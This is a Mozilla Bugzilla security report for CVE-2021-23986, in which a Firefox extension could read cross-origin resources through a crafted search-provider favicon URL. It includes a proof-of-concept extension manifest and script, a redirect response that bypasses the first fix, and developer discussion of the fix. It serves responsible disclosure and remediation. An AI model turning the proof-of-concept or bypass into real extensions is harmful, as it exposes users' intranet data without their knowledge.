Closed Bug 1692623 (CVE-2021-23986) Opened 2 years ago Closed 2 years ago

Cross-origin read SOP violation by extension via search provider

Categories

(Firefox :: Search, defect, P3)

defect
Points:
3

Tracking

()

RESOLVED FIXED
87 Branch
Iteration:
87.2 - Feb 8 - Feb 21
Tracking Status
firefox87 --- fixed

People

(Reporter: arminius, Assigned: standard8)

References

Details

(Keywords: csectype-other, sec-low, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main87+])

Attachments

(4 files)

A malicious extension can read cross-origin resources by installing a specially crafted search provider and using the browser.search API.

This happens as the search engine manager fetches any absolute favicon URL, and converts the content to a data: URI which is made available to extension code, regardless of the resource's actual content type (e.g. text/html).

Proof of concept

  • Create an extension which adds a search engine via the chrome_settings_overrides.search_provider manifest key. Set favicon_url to the web resource that should be read cross-origin. The target's content-type is irrelevant.
  • Use browser.search.get() to retrieve the installed search engine.
  • Base64-decode the engine's favIconUrl data: URI payload.

Analysis

The manifest format for the favicon URL, relativeUrl, permits absolute URLs. In parent/ext-search.js#34-41, only extension-relative icons are converted to data: URIs (engine.iconURI.schemeIs("moz-extension") && engine.iconURI.host !== context.extension.uuid). However, icon conversion is also done earlier in SearchEngine.jsm#766-813 without checking origin or content type. Hence, when ext-search.js queries the search service, the icons are already converted to data: URIs.

Security impact

The search permission does not show up in the addon details ("This extension doesn’t require any permissions.") or during installation, allowing an attack to go unnoticed. But while any http[s] URL can be targeted, cookies aren't transmitted. This makes the attack most useful against e.g. local interfaces/intranet resources, but doesn't allow an attacker to trivially tap the user's current web mail session.

Flags: sec-bounty?

This proof-of-concept extension fetches and displays the source of https://example.com/ in a new tab upon startup. I attached it as a signed XPI.

manifest.json:

{
  "manifest_version": 2,
  "name": "searchprovider sop leak",
  "version": "2.0",
  "background": { "scripts": [ "background.js" ] },
  "permissions": [ "search" ],
  "chrome_settings_overrides": {
    "search_provider": {
      "name": "mysearch",
      "search_url": "https://example.com/$1",
      "favicon_url": "https://example.com/"
    }
  }
}

background.js:

browser.search.get().then((res) => {
    let provider = res.find(x => x.name === "mysearch")
    let source = atob(provider.favIconUrl.split(',')[1]);
    let url = URL.createObjectURL(new Blob([source], {type : 'text/plain'}));
    browser.tabs.create({url: url})
})
Type: task → defect
Component: Security → Request Handling
Product: Firefox → WebExtensions

Thanks for the report and PoC. This bug offers the following capabilities:

  • An extension can read the response of one GET request, without control over when the request is sent.
  • No control over request headers, no cookies/credentials are sent in particular.
  • Response bodies exceeding 20000 (SearchUtils.MAX_ICON_SIZE) cannot be read.
  • The URL has to be hardcoded in a manifest.json file in a signed extension, but as redirects are followed, any http(s) URL can be read.

This is not a bug with the implementation in the extension framework, but with the search engine implementation. The resolved URL should be a valid image URL before it is stored.

Status: UNCONFIRMED → NEW
Component: Request Handling → Search
Ever confirmed: true
Product: WebExtensions → Firefox

I've been looking into this a bit and discussing with Johann.

We should change the search service to accept content types starting with "image/" only. The fallback would have probably been accounting for images with incorrect content types being served. This seems to be largely unnecessary now, and I just checked what appear to be the most popular servers for OpenSearch and they are either providing data uris, or urls to images which are served correctly.

That doesn't do enough to fix the cross-origin side of the issue. Whilst we can assume websites don't declare sensitive resources as favicons, I think there is still potential for data to be encoded in images for a site controlled by the add-on author.

We think that there's a few choices here:

  • Remove the favicon from the browser.search.get API (though this may not be popular with extension authors).
  • Require some sort of additional permission.
  • Have the search service save the original URL as well as the data URL. Presumably the API could do cross-origin checks on the original URL, but still serve the data URL to the add-on. (Note: serving the data url, means we wouldn't be pinging the server, which is better for the user's privacy).

I think these last points really need input from the WebExtensions team. Rob, can you look at this, or redirect to whoever's appropriate?

Flags: needinfo?(rob)

(In reply to Mark Banner (:standard8) from comment #3)

That doesn't do enough to fix the cross-origin side of the issue. Whilst we can assume websites don't declare sensitive resources as favicons, I think there is still potential for data to be encoded in images for a site controlled by the add-on author.

We think that there's a few choices here:

  • Remove the favicon from the browser.search.get API (though this may not be popular with extension authors).
  • Require some sort of additional permission.
  • Have the search service save the original URL as well as the data URL. Presumably the API could do cross-origin checks on the original URL, but still serve the data URL to the add-on. (Note: serving the data url, means we wouldn't be pinging the server, which is better for the user's privacy).

I think these last points really need input from the WebExtensions team. Rob, can you look at this, or redirect to whoever's appropriate?

I don't think that further restrictions are needed once the SearchEngine implementation validates/sanitizes the image response.

The fact that the request doesn't include credentials is a mitigating factor; as a result only publicly available images can be read (except possibly for intranet URLs, which can normally not be read, but can be by this bug).

Extensions with the right permissions already have another way to read image URLs, via the favIconUrl property of a tab. An extension could create a page with a favicon pointing to a desired location, and the extension would be able to read it. I discussed this with my team, and it's an acceptable feature (especially because the image is already public, and presumably sanitized/shrunk).

Flags: needinfo?(rob)

I don't think that further restrictions are needed once the SearchEngine implementation validates/sanitizes the image response.

I second this. Reading intranet images (without sending credentials + sufficiently small/scaled down) seems to be an acceptable risk given the various intranet fingerprinting techniques that exist already.

Extensions with the right permissions already have another way to read image URLs, via the favIconUrl property of a tab.

There isn't even a permission needed. Any extension can read any (non-credentials-protected, favicon-able) cross-origin image because moz-extension://{id}/page.html has an implicit host permission for {id}, thus can do <link rel="icon" href="https://cross-origin.example/image.png"> from page.html and access the remote image via its own favicon, without declaring tabs or any other permission.

(In reply to Arminius (Armin Razmjou) from comment #5)

Extensions with the right permissions already have another way to read image URLs, via the favIconUrl property of a tab.

There isn't even a permission needed. Any extension can read any (non-credentials-protected, favicon-able) cross-origin image because moz-extension://{id}/page.html has an implicit host permission for {id}, thus can do <link rel="icon" href="https://cross-origin.example/image.png"> from page.html and access the remote image via its own favicon, without declaring tabs or any other permission.

This statement is true for Chromium-based browsers, but wasn't true for Firefox until recently. Prior to bug 1679688, only the "tabs" permission would allow an extension to read url/title/favIconUrl; as of Firefox 86, what you're describing is true too. But again, this is an accepted trade-off given that favicons are already presumably sanitized. If you are able to show that this is not the case (i.e. tabs.Tab.favIconUrl holds unsanitized & private data), please file a new bug with a test case.

Another option may be to require the search icons to be contained in the extension. That would require some lead time to allow extensions to update, so shouldn't be considered a fix for this.

Assignee: nobody → standard8
Status: NEW → ASSIGNED
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → 87 Branch
Severity: -- → S3
Iteration: --- → 87.2 - Feb 8 - Feb 21
Points: --- → 3
Priority: -- → P3
Flags: qe-verify?
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage]

Sorry, I wasn't in time for the patch review on Phabricator.

The patch is insufficient. The favicon target can send an image/* content type header plus a 30x redirect to bypass the check.

I suspect this is because SearchEngine holds its own reference to the channel for the favicon request which is later used to check the contentType.
https://searchfox.org/mozilla-central/rev/7bb1cc6abf6634b2a20f71935e1e519e73402b63/toolkit/components/search/SearchEngine.jsm#769,794

So when SearchUtils.LoadListener.asyncOnChannelRedirect follows a redirect and updates to a new channel, SearchEngine still checks the initial channel's content type.
https://searchfox.org/mozilla-central/rev/7bb1cc6abf6634b2a20f71935e1e519e73402b63/toolkit/components/search/SearchUtils.jsm#86-89

A passing response may look like this:

HTTP/1.1 302
Location: http://example.com/
Content-type: image/whatever
Content-length: 0

Hope it's fine to reopen based on that.

Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Blocks: 1694183

(In reply to Arminius (Armin Razmjou) from comment #11)

Sorry, I wasn't in time for the patch review on Phabricator.

The patch is insufficient. The favicon target can send an image/* content type header plus a 30x redirect to bypass the check.

Thank you for commenting about that case. I've just been verifying it and it is indeed wrong. It'd also be potentially broken for images loaded from redirects regardless of the security issue.

The original fix on this bug is on 87 which has just merged to beta. For me to fix this, I'll need to land for 88 and uplift. As a result, to make it easier on tracking, I've created bug 1694183 for the redirect follow-up.

Status: REOPENED → RESOLVED
Closed: 2 years ago2 years ago
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+

Should be able to test this with the extension and steps from comment 0.

Flags: qe-verify? → qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage] → [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main87+]
Attached file advisory.txt
Alias: CVE-2021-23986
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.